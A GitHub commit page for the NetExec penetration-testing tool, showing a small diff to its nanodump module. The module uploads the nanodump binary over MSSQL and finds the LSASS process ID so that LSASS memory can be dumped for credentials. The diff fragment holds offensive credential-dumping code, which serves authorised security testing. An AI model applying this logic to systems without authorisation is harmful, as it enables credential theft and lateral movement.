Skip to content

Commit

Permalink
Merge pull request #136 from XiaoliChan/mssql-improv
Browse files Browse the repository at this point in the history
[MSSQL] Improvement
  • Loading branch information
Marshall-Hallenbeck authored Mar 9, 2024
2 parents 31b2a1f + 9120d1d commit d9e46db
Show file tree
Hide file tree
Showing 4 changed files with 204 additions and 243 deletions.
8 changes: 4 additions & 4 deletions nxc/modules/nanodump.py
Original file line number Diff line number Diff line change
Expand Up @@ -98,7 +98,7 @@ def on_admin_login(self, context, connection):
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
try:
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
Expand All @@ -118,13 +118,13 @@ def on_admin_login(self, context, connection):
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]

if not p or p == "None":
self.context.log.fail("Failed to execute command to get LSASS PID")
return

if len(p) == 1:
p = p[0]

pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
Expand Down
Loading

0 comments on commit d9e46db

Please sign in to comment.